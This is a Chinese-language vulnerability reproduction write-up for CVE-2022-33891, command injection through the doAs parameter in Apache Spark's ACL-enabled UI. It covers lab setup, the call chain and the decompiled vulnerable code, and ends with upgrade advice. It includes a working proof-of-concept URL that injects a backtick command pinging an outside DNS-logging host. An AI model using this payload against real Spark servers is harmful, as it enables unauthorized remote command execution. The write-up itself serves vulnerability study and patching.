CVE-2022-33891 Apache Spark shell命令注入复现
影响版本:
Spark Core - Apache <=3.0.3
3.1.1 <= Spark Core - Apache <=3.1.2
3.2.0 <= Spark Core - Apache <=3.2.1
1.简介
Apache Spark
Apache Spark是一个通用的、快速的、分布式计算系统,它最初由加州大学伯克利分校AMPLab开发。Spark提供了一种基于内存的计算模型,可以在大规模数据集上进行高效的数据处理、机器学习和图计算等操作。
Spark的核心组件包括Spark Core、Spark SQL、Spark Streaming、MLlib和GraphX等。其中,Spark Core是Spark的基础组件,提供了分布式任务调度、内存管理、容错性和数据抽象等功能。Spark SQL提供了一种类似于SQL的查询语言,能够方便地进行结构化数据的处理和分析。Spark Streaming则支持实时数据的处理和分析,能够处理高速数据流。MLlib是Spark的机器学习库,支持各种机器学习算法和工具。GraphX则是Spark的图计算库,支持图结构数据的处理和分析。
Spark的优势在于其快速处理大规模数据的能力,以及支持多种数据源和数据格式的灵活性。另外,Spark还提供了易于使用的API和交互式Shell,使得用户能够快速地进行数据处理和分析。Spark可以在各种环境中运行,包括本地机器、Hadoop集群和云环境等。
漏洞官方描述
Apache Spark Ul提供了通过以下途径启用ACL的可能性:配置选项 spark.acls.enable.使用身份验证过滤器,此检查用户是否具有查看或修改应用。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能最终将根据他们的输入构建一个Unix shell命令,以及执行它。这将导致任意 shell 命令执行为用户 Spark 当前正在运行为 。
这里看下diff信息,很明显直接对命令进行拼接造成RCE,接下来分析一下该如何调用
2.环境搭建
官网直接下载
https://archive.apache.org/dist/spark/spark-3.2.1/
拖到linux上解压部署,编辑启动文件,添加idea远程调试参数
vim /root/spark-3.2.1-bin-hadoop2.7/bin
启动项目,这里运行spark-shell,并开启ACL
启用ACL的两种方式:
1、通过设置选项 spark.acls.enable 启用 。
2、运行spark-shell时,通过-c参数启动
./bin/spark-shell --conf spark.acls.enable=true
3.漏洞分析
我们这里在打getUnixGroups函数处(即漏洞函数)打一下断点,然后打一下poc看一下调用链
http://192.168.11.130:4040/?doAs=`ping%204paxg6.dnslog.cn`
得到调用链
org.apache.spark.ui.HttpSecurityFilter.doFilter() org.apache.spark.SecurityManager.checkUIViewPermissions() org.apache.spark.SecurityManager.isUserInACL() org.apache.spark.util.Utils.getCurrentUserGroups() org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups() org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups()
在Apache spark启用ACL后,会通过HttpSecurityFilter进行权限校验,所以该漏洞的入口点是HttpSecurityFilter这个filter,我们打个断点重新调试一下
这里可以看到其接收了一个参数doAS
然后将参数的值传递给了org.apache.spark.SecurityManager#checkUIViewPermissions函数
继续跟进,调用isUserInACL函数,同样传递了参数
继续跟进,调用getCurrentUserGroups函数
然后到达了org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(),参数值赋给了username,调用ShellBasedGroupsMappingProvider.getGroups()
最终调用了getUnixGroups方法,这里将参数拼接到executeAndGetOutput函数中,触发了命令执行
private Set<String> getUnixGroups(final String username) {
Seq cmdSeq = (Seq)(new .colon.colon("bash", new .colon.colon("-c", new .colon.colon((new StringBuilder(7)).append("id -Gn ").append(username).toString(), scala.collection.immutable.Nil..MODULE$))));
return (new ArrayOps.ofRef(scala.Predef..MODULE$.refArrayOps((Object[])(new StringOps(scala.Predef..MODULE$.augmentString(org.apache.spark.util.Utils..MODULE$.executeAndGetOutput(cmdSeq, org.apache.spark.util.Utils..MODULE$.executeAndGetOutput$default$2(), org.apache.spark.util.Utils..MODULE$.executeAndGetOutput$default$3(), org.apache.spark.util.Utils..MODULE$.executeAndGetOutput$default$4())))).stripLineEnd().split(" ")))).toSet();
}
4.漏洞利用
利用条件需要开启acl,漏洞利用很简单,向参数doAs拼接命令,这里利用反引号成功进行命令注入
5.修复建议
升级到最新版本:Apache Spark 3.1.3、3.2.2 或 3.3.0 或更高版本。
Reference
https://www.freebuf.com/vuls/340151.html